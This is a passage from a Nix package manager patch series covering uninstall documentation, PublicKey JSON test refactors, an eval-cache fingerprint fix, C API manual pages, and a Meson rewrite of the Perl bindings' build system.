+   by setting the cursor on the respective line using the error keys, and pressing `dd`, and then `:wq` to save the file.
+
+   This will prevent automatic mounting of the Nix Store volume.
+
+5. Edit `/etc/synthetic.conf` to remove the `nix` line.
+   If this is the only line in the file you can remove it entirely:
+
+   ```bash
+   if [ -f /etc/synthetic.conf ]; then
+     if [ "$(cat /etc/synthetic.conf)" = "nix" ]; then
+       sudo rm /etc/synthetic.conf
+     else
+       sudo vi /etc/synthetic.conf
+     fi
+   fi
+   ```
+
+   This will prevent the creation of the empty `/nix` directory.
+
+6. Remove the files Nix added to your system, except for the store:
 
    ```console
    sudo rm -rf /etc/nix /var/root/.nix-profile /var/root/.nix-defexpr /var/root/.nix-channels ~/.nix-profile ~/.nix-defexpr ~/.nix-channels
    ```
 
-   This gets rid of any data Nix may have created except for the store which is
-   removed next.
 
 7. Remove the Nix Store volume:
 
@@ -121,29 +124,32 @@ which you may remove.
    sudo diskutil apfs deleteVolume /nix
    ```
 
-   This will remove the Nix Store volume and everything that was added to the
-   store.
+   This will remove the Nix Store volume and everything that was added to the store.
 
-   If the output indicates that the command couldn't remove the volume, you should
-   make sure you don't have an _unmounted_ Nix Store volume. Look for a
-   "Nix Store" volume in the output of the following command:
+   If the output indicates that the command couldn't remove the volume, you should make sure you don't have an _unmounted_ Nix Store volume.
+   Look for a "Nix Store" volume in the output of the following command:
 
    ```console
    diskutil list
    ```
 
-   If you _do_ see a "Nix Store" volume, delete it by re-running the diskutil
-   deleteVolume command, but replace `/nix` with the store volume's `diskXsY`
-   identifier.
+   If you _do_ find a "Nix Store" volume, delete it by running `diskutil deleteVolume` with the store volume's `diskXsY` identifier.
 
 > **Note**
 >
-> After you complete the steps here, you will still have an empty `/nix`
-> directory. This is an expected sign of a successful uninstall. The empty
-> `/nix` directory will disappear the next time you reboot.
+> After you complete the steps here, you will still have an empty `/nix` directory.
+> This is an expected sign of a successful uninstall.
+> The empty `/nix` directory will disappear the next time you reboot.
 >
-> You do not have to reboot to finish uninstalling Nix. The uninstall is
-> complete. macOS (Catalina+) directly controls root directories and its
-> read-only root will prevent you from manually deleting the empty `/nix`
-> mountpoint.
+> You do not have to reboot to finish uninstalling Nix.
+> The uninstall is complete.
+> macOS (Catalina+) directly controls root directories, and its read-only root will prevent you from manually deleting the empty `/nix` mountpoint.
+
+## Single User
 
+To remove a [single-user installation](./installing-binary.md#single-user-installation) of Nix, run:
+
+```console
+$ rm -rf /nix ~/.nix-channels ~/.nix-defexpr ~/.nix-profile
+```
+You might also want to manually remove references to Nix from your `~/.profile`.

From 4ff7f5aa9cf15a3c8922ecb2c52875f4f8672899 Mon Sep 17 00:00:00 2001
From: HaeNoe <programmierhaenoe@outlook.de>
Date: Tue, 16 Apr 2024 13:26:20 +0200
Subject: [PATCH 056/528] refactor `fetchers::PublicKey` tests

---
 .../data/public-key/defaultType.json          |  4 ++
 .../libfetchers/data/public-key/simple.json   |  4 ++
 tests/unit/libfetchers/public-key.cc          | 43 +++++++++++++++----
 3 files changed, 43 insertions(+), 8 deletions(-)
 create mode 100644 tests/unit/libfetchers/data/public-key/defaultType.json
 create mode 100644 tests/unit/libfetchers/data/public-key/simple.json

diff --git a/tests/unit/libfetchers/data/public-key/defaultType.json b/tests/unit/libfetchers/data/public-key/defaultType.json
new file mode 100644
index 00000000000..43f02a420d5
--- /dev/null
+++ b/tests/unit/libfetchers/data/public-key/defaultType.json
@@ -0,0 +1,4 @@
+{
+  "key": "ABCDE",
+  "type": "ssh-ed25519"
+}
diff --git a/tests/unit/libfetchers/data/public-key/simple.json b/tests/unit/libfetchers/data/public-key/simple.json
new file mode 100644
index 00000000000..f83b927ac57
--- /dev/null
+++ b/tests/unit/libfetchers/data/public-key/simple.json
@@ -0,0 +1,4 @@
+{
+  "key": "ABCDE",
+  "type": "ssh-rsa"
+}
diff --git a/tests/unit/libfetchers/public-key.cc b/tests/unit/libfetchers/public-key.cc
index fcd5c3af0bd..941ae9db792 100644
--- a/tests/unit/libfetchers/public-key.cc
+++ b/tests/unit/libfetchers/public-key.cc
@@ -1,18 +1,45 @@
 #include <gtest/gtest.h>
 #include "fetchers.hh"
 #include "json-utils.hh"
+#include <nlohmann/json.hpp>
+#include "tests/characterization.hh"
 
 namespace nix {
-    TEST(PublicKey, jsonSerialization) {
-        auto json = nlohmann::json(fetchers::PublicKey { .key = "ABCDE" });
 
-        ASSERT_EQ(json, R"({ "key": "ABCDE", "type": "ssh-ed25519" })"_json);
+using nlohmann::json;
+
+class PublicKeyTest : public CharacterizationTest
+{
+    Path unitTestData = getUnitTestData() + "/public-key";
+
+public:
+    Path goldenMaster(std::string_view testStem) const override {
+        return unitTestData + "/" + testStem;
     }
-    TEST(PublicKey, jsonDeserialization) {
-        auto pubKeyJson = R"({ "key": "ABCDE", "type": "ssh-ed25519" })"_json;
-        fetchers::PublicKey pubKey = pubKeyJson;
+};
 
-        ASSERT_EQ(pubKey.key, "ABCDE");
-        ASSERT_EQ(pubKey.type, "ssh-ed25519");
+#define TEST_JSON(FIXTURE, NAME, VAL)                                     \
+    TEST_F(FIXTURE, PublicKey_ ## NAME ## _from_json) {                   \
+        readTest(#NAME ".json", [&](const auto & encoded_) {              \
+            fetchers::PublicKey expected { VAL };                         \
+            auto got = nlohmann::json::parse(encoded_);                   \
+            ASSERT_EQ(got, expected);                                     \
+        });                                                               \
+    }                                                                     \
+                                                                          \
+    TEST_F(FIXTURE, PublicKey_ ## NAME ## _to_json) {                     \
+        writeTest(#NAME ".json", [&]() -> json {                          \
+            return nlohmann::json(fetchers::PublicKey { VAL });           \
+        }, [](const auto & file) {                                        \
+            return json::parse(readFile(file));                           \
+        }, [](const auto & file, const auto & got) {                      \
+            return writeFile(file, got.dump(2) + "\n");                   \
+        });                                                               \
     }
+
+TEST_JSON(PublicKeyTest, simple, (fetchers::PublicKey { .type = "ssh-rsa", .key = "ABCDE" }))
+
+TEST_JSON(PublicKeyTest, defaultType, fetchers::PublicKey { .key = "ABCDE" })
+
+#undef TEST_JSON
 }

From c73172e9864dbb0b38e480c9e284245bbbd616e7 Mon Sep 17 00:00:00 2001
From: HaeNoe <programmierhaenoe@outlook.de>
Date: Tue, 16 Apr 2024 13:37:39 +0200
Subject: [PATCH 057/528] add unit tests for `getNullable`

---
 tests/unit/libutil/json-utils.cc | 14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

diff --git a/tests/unit/libutil/json-utils.cc b/tests/unit/libutil/json-utils.cc
index ec653fff529..c9370a74bfd 100644
--- a/tests/unit/libutil/json-utils.cc
+++ b/tests/unit/libutil/json-utils.cc
@@ -169,7 +169,19 @@ TEST(optionalValueAt, existing) {
 TEST(optionalValueAt, empty) {
     auto json = R"({})"_json;
 
-    ASSERT_EQ(optionalValueAt(json, "string2"), std::nullopt);
+    ASSERT_EQ(optionalValueAt(json, "string"), std::nullopt);
+}
+
+TEST(getNullable, null) {
+    auto json = R"(null)"_json;
+
+    ASSERT_EQ(getNullable(json), std::nullopt);
+}
+
+TEST(getNullable, empty) {
+    auto json = R"({})"_json;
+
+    ASSERT_EQ(getNullable(json), std::optional { R"({})"_json });
 }
 
 } /* namespace nix */

From 943a877a6a189bd3ccfc77b6100ee7df80038b5a Mon Sep 17 00:00:00 2001
From: HaeNoe <programmierhaenoe@outlook.de>
Date: Tue, 16 Apr 2024 13:48:58 +0200
Subject: [PATCH 058/528] use default value in `fetchers::PublicKey` json
 deserialization

---
 src/libfetchers/fetchers.cc | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/src/libfetchers/fetchers.cc b/src/libfetchers/fetchers.cc
index a06d931db6c..0577b8d9d5a 100644
--- a/src/libfetchers/fetchers.cc
+++ b/src/libfetchers/fetchers.cc
@@ -419,9 +419,13 @@ namespace nlohmann {
 using namespace nix;
 
 fetchers::PublicKey adl_serializer<fetchers::PublicKey>::from_json(const json & json) {
-    auto type = optionalValueAt(json, "type").value_or("ssh-ed25519");
-    auto key = valueAt(json, "key");
-    return fetchers::PublicKey { getString(type), getString(key) };
+    fetchers::PublicKey res = {  };
+    if (auto type = optionalValueAt(json, "type"))
+        res.type = getString(*type);
+
+    res.key = getString(valueAt(json, "key"));
+
+    return res;
 }
 
 void adl_serializer<fetchers::PublicKey>::to_json(json & json, fetchers::PublicKey p) {

From a92eb5fc33caa3476a3ff7d58bddcbcb304b8c37 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 24 Apr 2024 19:52:11 +0200
Subject: [PATCH 059/528] doc/manual: Add C API to menu

---
 doc/manual/src/SUMMARY.md.in                 |  1 +
 doc/manual/src/c-api.md                      | 16 ++++++++++++++++
 doc/manual/src/contributing/documentation.md |  3 ++-
 3 files changed, 19 insertions(+), 1 deletion(-)
 create mode 100644 doc/manual/src/c-api.md

diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in
index d9044fbdac6..ccfc75316fa 100644
--- a/doc/manual/src/SUMMARY.md.in
+++ b/doc/manual/src/SUMMARY.md.in
@@ -112,6 +112,7 @@
   - [Store Path Specification](protocols/store-path.md)
   - [Nix Archive (NAR) Format](protocols/nix-archive.md)
   - [Derivation "ATerm" file format](protocols/derivation-aterm.md)
+- [C API](c-api.md)
 - [Glossary](glossary.md)
 - [Contributing](contributing/index.md)
   - [Hacking](contributing/hacking.md)
diff --git a/doc/manual/src/c-api.md b/doc/manual/src/c-api.md
new file mode 100644
index 00000000000..29df0b64419
--- /dev/null
+++ b/doc/manual/src/c-api.md
@@ -0,0 +1,16 @@
+# C API
+
+Nix provides a C API with the intent of [_becoming_](https://github.com/NixOS/nix/milestone/52) a stable API, which it is currently not.
+It is in development.
+
+See:
+- C API documentation for a recent build of master
+  - [Getting Started]
+  - [Index]
+- [Matrix Room *Nix Bindings*](https://matrix.to/#/#nix-bindings:nixos.org) for discussion and questions.
+- [Stabilisation Milestone](https://github.com/NixOS/nix/milestone/52)
+- [Other C API PRs and issues](https://github.com/NixOS/nix/labels/c%20api)
+- [Contributing C API Documentation](contributing/documentation.md#c-api-documentation), including how to build it locally.
+
+[Getting Started]: https://hydra.nixos.org/job/nix/master/external-api-docs/latest/download-by-type/doc/external-api-docs
+[Index]: https://hydra.nixos.org/job/nix/master/external-api-docs/latest/download-by-type/doc/external-api-docs/globals.html
diff --git a/doc/manual/src/contributing/documentation.md b/doc/manual/src/contributing/documentation.md
index e7f94ab8c35..359fdb5569a 100644
--- a/doc/manual/src/contributing/documentation.md
+++ b/doc/manual/src/contributing/documentation.md
@@ -207,8 +207,9 @@ or inside `nix-shell` or `nix develop`:
 # xdg-open ./outputs/doc/share/doc/nix/internal-api/html/index.html
 ```
 
-## C API documentation (experimental)
+## C API documentation
 
+Note that the C API is not yet stable.
 [C API documentation] is available online.
 You can also build and view it yourself:
 

From 1c4e392c64939ca961458cfb15a9da1e4d883b22 Mon Sep 17 00:00:00 2001
From: Guillaume Maudoux <layus.on@gmail.com>
Date: Thu, 25 Apr 2024 00:44:47 +0200
Subject: [PATCH 060/528] Compute fingerprint only if needed

As per Eelco's review comments

Co-authored-by: Eelco Dolstra <edolstra@gmail.com>
---
 src/libcmd/installables.cc | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc
index 5683e1afa4c..e5c981629f4 100644
--- a/src/libcmd/installables.cc
+++ b/src/libcmd/installables.cc
@@ -443,9 +443,8 @@ ref<eval_cache::EvalCache> openEvalCache(
     EvalState & state,
     std::shared_ptr<flake::LockedFlake> lockedFlake)
 {
-    auto fingerprint = lockedFlake->getFingerprint(state.store);
-    auto hash = evalSettings.useEvalCache && evalSettings.pureEval
-        ? fingerprint
+    auto fingerprint = evalSettings.useEvalCache && evalSettings.pureEval
+        ? lockedFlake->getFingerprint(state.store)
         : std::nullopt;
     auto rootLoader = [&state, lockedFlake]()
         {
@@ -472,7 +471,7 @@ ref<eval_cache::EvalCache> openEvalCache(
         }
         return search->second;
     } else {
-        return make_ref<nix::eval_cache::EvalCache>(hash, state, rootLoader);
+        return make_ref<nix::eval_cache::EvalCache>(std::nullopt, state, rootLoader);
     }
 }
 

From 19cc50dcbf58dd52a82308ab1733d2d7764db9d1 Mon Sep 17 00:00:00 2001
From: Guillaume Maudoux <layus.on@gmail.com>
Date: Thu, 25 Apr 2024 00:47:46 +0200
Subject: [PATCH 061/528] fixup: Compute fingerprint only if needed

---
 src/libcmd/installables.cc | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/src/libcmd/installables.cc b/src/libcmd/installables.cc
index e5c981629f4..b93c7f7e852 100644
--- a/src/libcmd/installables.cc
+++ b/src/libcmd/installables.cc
@@ -464,10 +464,10 @@ ref<eval_cache::EvalCache> openEvalCache(
             return aOutputs->value;
         };
 
-    if (hash) {
-        auto search = state.evalCaches.find(hash.value());
+    if (fingerprint) {
+        auto search = state.evalCaches.find(fingerprint.value());
         if (search == state.evalCaches.end()) {
-            search = state.evalCaches.emplace(hash.value(), make_ref<nix::eval_cache::EvalCache>(hash, state, rootLoader)).first;
+            search = state.evalCaches.emplace(fingerprint.value(), make_ref<nix::eval_cache::EvalCache>(fingerprint, state, rootLoader)).first;
         }
         return search->second;
     } else {

From 1c2336ff5f93f86683f2635547289e1cfb024358 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Thu, 25 Apr 2024 13:34:15 +0200
Subject: [PATCH 062/528] add a recommendation for first-time contributors
 (#10605)

this is an idea that came up in a discussion among maintainers
---
 CONTRIBUTING.md | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 887bd480273..38f5d43b710 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -27,6 +27,8 @@ Check out the [security policy](https://github.com/NixOS/nix/security/policy).
 1. Search for related issues that cover what you're going to work on.
    It could help to mention there that you will work on the issue.
 
+   We strongly recommend first-time contributors not to propose new features but rather fix tightly-scoped problems in order to build trust and a working relationship with maintainers.
+
    Issues labeled [good first issue](https://github.com/NixOS/nix/labels/good%20first%20issue) should be relatively easy to fix and are likely to get merged quickly.
    Pull requests addressing issues labeled [idea approved](https://github.com/NixOS/nix/labels/idea%20approved) or [RFC](https://github.com/NixOS/nix/labels/RFC) are especially welcomed by maintainers and will receive prioritised review.
 

From b406cf9b81bb4d09f99f3a88f58d4d333e781ff3 Mon Sep 17 00:00:00 2001
From: polar <polar@ever3st.com>
Date: Mon, 1 Apr 2024 22:59:30 +0100
Subject: [PATCH 063/528] perl: Correct nebulous #include within Store.xs

---
 perl/lib/Nix/Store.xs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/perl/lib/Nix/Store.xs b/perl/lib/Nix/Store.xs
index 1c64cc66b14..1d56e0127e1 100644
--- a/perl/lib/Nix/Store.xs
+++ b/perl/lib/Nix/Store.xs
@@ -1,4 +1,4 @@
-#include "config.h"
+#include "nix/config.h"
 
 #include "EXTERN.h"
 #include "perl.h"

From fc1d9023a2223247b7ed60d15b4eed88d4366649 Mon Sep 17 00:00:00 2001
From: polar <polar@ever3st.com>
Date: Thu, 25 Apr 2024 14:20:05 +0100
Subject: [PATCH 064/528] perl: Rewrite build system using Meson

---
 perl/Makefile            |  21 ------
 perl/Makefile.config.in  |  18 -----
 perl/configure.ac        |  84 ----------------------
 perl/default.nix         |  75 ++++++++++---------
 perl/lib/Nix/meson.build |  59 +++++++++++++++
 perl/local.mk            |  46 ------------
 perl/meson.build         | 152 +++++++++++++++++++++++++++++++++++++++
 perl/meson_options.txt   |  32 +++++++++
 perl/t/meson.build       |  15 ++++
 9 files changed, 300 insertions(+), 202 deletions(-)
 delete mode 100644 perl/Makefile
 delete mode 100644 perl/Makefile.config.in
 delete mode 100644 perl/configure.ac
 create mode 100644 perl/lib/Nix/meson.build
 delete mode 100644 perl/local.mk
 create mode 100644 perl/meson.build
 create mode 100644 perl/meson_options.txt
 create mode 100644 perl/t/meson.build

diff --git a/perl/Makefile b/perl/Makefile
deleted file mode 100644
index 832668dd155..00000000000
--- a/perl/Makefile
+++ /dev/null
@@ -1,21 +0,0 @@
-makefiles = local.mk
-
-GLOBAL_CXXFLAGS += -g -Wall -std=c++2a
-
-# A convenience for concurrent development of Nix and its Perl bindings.
-# Not needed in a standalone build of the Perl bindings.
-ifneq ("$(wildcard ../src)", "")
-  GLOBAL_CXXFLAGS += -I ../src
-endif
-
--include Makefile.config
-
-OPTIMIZE = 1
-
-ifeq ($(OPTIMIZE), 1)
-  GLOBAL_CXXFLAGS += -O3
-else
-  GLOBAL_CXXFLAGS += -O0
-endif
-
-include mk/lib.mk
diff --git a/perl/Makefile.config.in b/perl/Makefile.config.in
deleted file mode 100644
index d856de3ada8..00000000000
--- a/perl/Makefile.config.in
+++ /dev/null
@@ -1,18 +0,0 @@
-HOST_OS = @host_os@
-CC = @CC@
-CFLAGS = @CFLAGS@
-CXX = @CXX@
-CXXFLAGS = @CXXFLAGS@
-PACKAGE_NAME = @PACKAGE_NAME@
-PACKAGE_VERSION = @PACKAGE_VERSION@
-SODIUM_LIBS = @SODIUM_LIBS@
-NIX_CFLAGS = @NIX_CFLAGS@
-NIX_LIBS = @NIX_LIBS@
-nixbindir = @nixbindir@
-curl = @curl@
-nixlibexecdir = @nixlibexecdir@
-nixlocalstatedir = @nixlocalstatedir@
-perl = @perl@
-perllibdir = @perllibdir@
-nixstoredir = @nixstoredir@
-nixsysconfdir = @nixsysconfdir@
diff --git a/perl/configure.ac b/perl/configure.ac
deleted file mode 100644
index a02cb06c9ed..00000000000
--- a/perl/configure.ac
+++ /dev/null
@@ -1,84 +0,0 @@
-AC_INIT(nix-perl, m4_esyscmd([bash -c "echo -n $(cat ../.version)$VERSION_SUFFIX"]))
-AC_CONFIG_SRCDIR(MANIFEST)
-AC_CONFIG_AUX_DIR(../config)
-
-CFLAGS=
-CXXFLAGS=
-AC_PROG_CC
-AC_PROG_CXX
-
-AC_CANONICAL_HOST
-
-# Use 64-bit file system calls so that we can support files > 2 GiB.
-AC_SYS_LARGEFILE
-
-AC_DEFUN([NEED_PROG],
-[
-AC_PATH_PROG($1, $2)
-if test -z "$$1"; then
-    AC_MSG_ERROR([$2 is required])
-fi
-])
-
-NEED_PROG(perl, perl)
-NEED_PROG(curl, curl)
-NEED_PROG(bzip2, bzip2)
-NEED_PROG(xz, xz)
-
-# Test that Perl has the open/fork feature (Perl 5.8.0 and beyond).
-AC_MSG_CHECKING([whether Perl is recent enough])
-if ! $perl -e 'open(FOO, "-|", "true"); while (<FOO>) { print; }; close FOO or die;'; then
-    AC_MSG_RESULT(no)
-    AC_MSG_ERROR([Your Perl version is too old.  Nix requires Perl 5.8.0 or newer.])
-fi
-AC_MSG_RESULT(yes)
-
-
-# Figure out where to install Perl modules.
-AC_MSG_CHECKING([for the Perl installation prefix])
-perlversion=$($perl -e 'use Config; print $Config{version};')
-perlarchname=$($perl -e 'use Config; print $Config{archname};')
-AC_SUBST(perllibdir, [${libdir}/perl5/site_perl/$perlversion/$perlarchname])
-AC_MSG_RESULT($perllibdir)
-
-# Look for libsodium.
-PKG_CHECK_MODULES([SODIUM], [libsodium], [CXXFLAGS="$SODIUM_CFLAGS $CXXFLAGS"])
-
-# Check for the required Perl dependencies (DBI and DBD::SQLite).
-perlFlags="-I$perllibdir"
-
-AC_ARG_WITH(dbi, AC_HELP_STRING([--with-dbi=PATH],
-  [prefix of the Perl DBI library]),
-  perlFlags="$perlFlags -I$withval")
-
-AC_ARG_WITH(dbd-sqlite, AC_HELP_STRING([--with-dbd-sqlite=PATH],
-  [prefix of the Perl DBD::SQLite library]),
-  perlFlags="$perlFlags -I$withval")
-
-AC_MSG_CHECKING([whether DBD::SQLite works])
-if ! $perl $perlFlags -e 'use DBI; use DBD::SQLite;' 2>&5; then
-    AC_MSG_RESULT(no)
-    AC_MSG_FAILURE([The Perl modules DBI and/or DBD::SQLite are missing.])
-fi
-AC_MSG_RESULT(yes)
-
-AC_SUBST(perlFlags)
-
-PKG_CHECK_MODULES([NIX], [nix-store])
-
-NEED_PROG([NIX], [nix])
-
-# Expand all variables in config.status.
-test "$prefix" = NONE && prefix=$ac_default_prefix
-test "$exec_prefix" = NONE && exec_prefix='${prefix}'
-for name in $ac_subst_vars; do
-    declare $name="$(eval echo "${!name}")"
-    declare $name="$(eval echo "${!name}")"
-    declare $name="$(eval echo "${!name}")"
-done
-
-rm -f Makefile.config
-ln -sfn ../mk mk
-
-AC_CONFIG_FILES([])
-AC_OUTPUT
diff --git a/perl/default.nix b/perl/default.nix
index 7103574c9a9..185c8126f02 100644
--- a/perl/default.nix
+++ b/perl/default.nix
@@ -1,47 +1,52 @@
-{ lib, fileset
+{ lib
+, fileset
 , stdenv
-, perl, perlPackages
-, autoconf-archive, autoreconfHook, pkg-config
-, nix, curl, bzip2, xz, boost, libsodium, darwin
+, perl
+, perlPackages
+, meson
+, ninja
+, pkg-config
+, nix
+, curl
+, bzip2
+, xz
+, boost
+, libsodium
+, darwin
 }:
 
 perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
   name = "nix-perl-${nix.version}";
 
   src = fileset.toSource {
-    root = ../.;
+    root = ./.;
     fileset = fileset.unions ([
-      ../.version
-      ../m4
-      ../mk
       ./MANIFEST
-      ./Makefile
-      ./Makefile.config.in
-      ./configure.ac
       ./lib
-      ./local.mk
+      ./meson.build
+      ./meson_options.txt
     ] ++ lib.optionals finalAttrs.doCheck [
       ./.yath.rc
       ./t
     ]);
   };
 
-  nativeBuildInputs =
-    [ autoconf-archive
-      autoreconfHook
-      pkg-config
-    ];
-
-  buildInputs =
-    [ nix
-      curl
-      bzip2
-      xz
-      perl
-      boost
-    ]
-    ++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium
-    ++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security;
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    nix
+    curl
+    bzip2
+    xz
+    perl
+    boost
+  ]
+  ++ lib.optional (stdenv.isLinux || stdenv.isDarwin) libsodium
+  ++ lib.optional stdenv.isDarwin darwin.apple_sdk.frameworks.Security;
 
   # `perlPackages.Test2Harness` is marked broken for Darwin
   doCheck = !stdenv.isDarwin;
@@ -50,12 +55,16 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
     perlPackages.Test2Harness
   ];
 
-  configureFlags = [
-    "--with-dbi=${perlPackages.DBI}/${perl.libPrefix}"
-    "--with-dbd-sqlite=${perlPackages.DBDSQLite}/${perl.libPrefix}"
+  mesonFlags = [
+    (lib.mesonOption "version" (builtins.readFile ../.version))
+    (lib.mesonOption "dbi_path" "${perlPackages.DBI}/${perl.libPrefix}")
+    (lib.mesonOption "dbd_sqlite_path" "${perlPackages.DBDSQLite}/${perl.libPrefix}")
+    (lib.mesonEnable "tests" finalAttrs.doCheck)
   ];
 
-  enableParallelBuilding = true;
+  mesonCheckFlags = [
+    "--print-errorlogs"
+  ];
 
-  postUnpack = "sourceRoot=$sourceRoot/perl";
+  enableParallelBuilding = true;
 }))
diff --git a/perl/lib/Nix/meson.build b/perl/lib/Nix/meson.build
new file mode 100644
index 00000000000..9a79245cd5e
--- /dev/null
+++ b/perl/lib/Nix/meson.build
@@ -0,0 +1,59 @@
+# Nix-Perl Scripts
+#============================================================================
+
+
+
+# Sources
+#-------------------------------------------------
+
+nix_perl_store_xs = files('Store.xs')
+
+nix_perl_scripts = files(
+  'CopyClosure.pm',
+  'Manifest.pm',
+  'SSH.pm',
+  'Store.pm',
+  'Utils.pm',
+)
+
+foreach f : nix_perl_scripts
+  fs.copyfile(f)
+endforeach
+
+
+# Targets
+#---------------------------------------------------
+
+nix_perl_scripts += configure_file(
+  output : 'Config.pm',
+  input : 'Config.pm.in',
+  configuration : nix_perl_conf,
+)
+
+nix_perl_store_cc = custom_target(
+  'Store.cc',
+  output : 'Store.cc',
+  input : nix_perl_store_xs,
+  command : [xsubpp, '@INPUT@', '-output', '@OUTPUT@'],
+)
+
+# Build Nix::Store Library
+#-------------------------------------------------
+nix_perl_store_lib = library(
+  'Store',
+  sources : nix_perl_store_cc,
+  name_prefix  : '',
+  install : true,
+  install_mode : 'rwxr-xr-x',
+  install_dir : join_paths(nix_perl_install_dir, 'auto', 'Nix', 'Store'),
+  dependencies : nix_perl_store_dep_list,
+)
+
+
+# Install Scripts
+#---------------------------------------------------
+install_data(
+  nix_perl_scripts,
+  install_mode : 'rw-r--r--',
+  install_dir : join_paths(nix_perl_install_dir,'Nix'),
+)
diff --git a/perl/local.mk b/perl/local.mk
deleted file mode 100644
index ed4764eb96b..00000000000
--- a/perl/local.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-nix_perl_sources := \
-  lib/Nix/Store.pm \
-  lib/Nix/Manifest.pm \
-  lib/Nix/SSH.pm \
-  lib/Nix/CopyClosure.pm \
-  lib/Nix/Config.pm.in \
-  lib/Nix/Utils.pm
-
-nix_perl_modules := $(nix_perl_sources:.in=)
-
-$(foreach x, $(nix_perl_modules), $(eval $(call install-data-in, $(x), $(perllibdir)/Nix)))
-
-lib/Nix/Store.cc: lib/Nix/Store.xs
-	$(trace-gen) xsubpp $^ -output $@
-
-libraries += Store
-
-Store_DIR := lib/Nix
-
-Store_SOURCES := $(Store_DIR)/Store.cc
-
-Store_CXXFLAGS = \
-  $(NIX_CFLAGS) \
-  -I$(shell perl -e 'use Config; print $$Config{archlibexp};')/CORE \
-  -D_FILE_OFFSET_BITS=64 \
-  -Wno-unknown-warning-option -Wno-unused-variable -Wno-literal-suffix \
-  -Wno-reserved-user-defined-literal -Wno-duplicate-decl-specifier -Wno-pointer-bool-conversion
-
-Store_LDFLAGS := $(SODIUM_LIBS) $(NIX_LIBS)
-
-ifdef HOST_CYGWIN
-  archlib = $(shell perl -E 'use Config; print $$Config{archlib};')
-  libperl = $(shell perl -E 'use Config; print $$Config{libperl};')
-  Store_LDFLAGS += $(shell find ${archlib} -name ${libperl})
-endif
-
-Store_ALLOW_UNDEFINED = 1
-
-Store_FORCE_INSTALL = 1
-
-Store_INSTALL_DIR = $(perllibdir)/auto/Nix/Store
-
-clean-files += lib/Nix/Config.pm lib/Nix/Store.cc Makefile.config
-
-check: all
-	yath test
diff --git a/perl/meson.build b/perl/meson.build
new file mode 100644
index 00000000000..bbeb0afa1d6
--- /dev/null
+++ b/perl/meson.build
@@ -0,0 +1,152 @@
+# Nix-Perl Meson build
+#============================================================================
+
+
+# init project
+#============================================================================
+project (
+  'nix-perl',
+  'cpp',
+  meson_version : '>= 0.64.0',
+  license : 'LGPL-2.1-or-later',
+)
+
+# setup env
+#-------------------------------------------------
+fs = import('fs')
+nix_version = get_option('version')
+cpp = meson.get_compiler('cpp')
+nix_perl_conf = configuration_data()
+nix_perl_conf.set('PACKAGE_VERSION', nix_version)
+
+
+# set error arguments
+#-------------------------------------------------
+error_args = [
+  '-Wno-pedantic',
+  '-Wno-non-virtual-dtor',
+  '-Wno-unused-parameter',
+  '-Wno-variadic-macros',
+  '-Wdeprecated-declarations',
+  '-Wno-missing-field-initializers',
+  '-Wno-unknown-warning-option',
+  '-Wno-unused-variable',
+  '-Wno-literal-suffix',
+  '-Wno-reserved-user-defined-literal',
+  '-Wno-duplicate-decl-specifier',
+  '-Wno-pointer-bool-conversion',
+]
+
+add_project_arguments(
+  cpp.get_supported_arguments(error_args),
+  language : 'cpp',
+)
+
+
+# set install directories
+#-------------------------------------------------
+prefix = get_option('prefix')
+libdir = join_paths(prefix, get_option('libdir'))
+
+# Dependencies
+#============================================================================
+
+# Required Programs
+#-------------------------------------------------
+xz = find_program('xz')
+xsubpp = find_program('xsubpp')
+perl = find_program('perl')
+curl = find_program('curl')
+yath = find_program('yath', required : false)
+
+# Required Libraries
+#-------------------------------------------------
+bzip2_dep = dependency('bzip2')
+curl_dep = dependency('libcurl')
+libsodium_dep = dependency('libsodium')
+# nix_util_dep = dependency('nix-util')
+nix_store_dep = dependency('nix-store')
+
+
+# Finding Perl Headers is a pain. as they do not have
+# pkgconfig available, are not in a standard location,
+# and are installed into a version folder. Use the
+# Perl binary to give hints about perl include dir.
+#-------------------------------------------------
+perl_archname = run_command(
+  perl, '-e', 'use Config; print $Config{archname};', check: true).stdout()
+perl_version = run_command(
+  perl, '-e', 'use Config; print $Config{version};', check: true).stdout()
+perl_archlibexp = run_command(
+  perl, '-e', 'use Config; print $Config{archlibexp};', check: true).stdout()
+perl_site_libdir = run_command(
+  perl, '-e', 'use Config; print $Config{installsitearch};', check: true).stdout()
+nix_perl_install_dir = join_paths(
+  libdir, 'perl5', 'site_perl', perl_version, perl_archname)
+
+
+# print perl hints for logs
+#-------------------------------------------------
+message('Perl archname: @0@'.format(perl_archname))
+message('Perl version: @0@'.format(perl_version))
+message('Perl archlibexp: @0@'.format(perl_archlibexp))
+message('Perl install site: @0@'.format(perl_site_libdir))
+message('Assumed Nix-Perl install dir: @0@'.format(nix_perl_install_dir))
+
+# Now find perl modules
+#-------------------------------------------------
+perl_check_dbi = run_command(
+  perl,
+  '-e', 'use DBI; use DBD::SQLite;',
+  '-I@0@'.format(get_option('dbi_path')),
+  '-I@0@'.format(get_option('dbd_sqlite_path')),
+  check: true
+)
+
+if perl_check_dbi.returncode() == 2
+  error('The Perl modules DBI and/or DBD::SQLite are missing.')
+else
+  message('Found Perl Modules: DBI, DBD::SQLite.')
+endif
+
+
+
+# declare perl dependency
+#-------------------------------------------------
+perl_dep = declare_dependency(
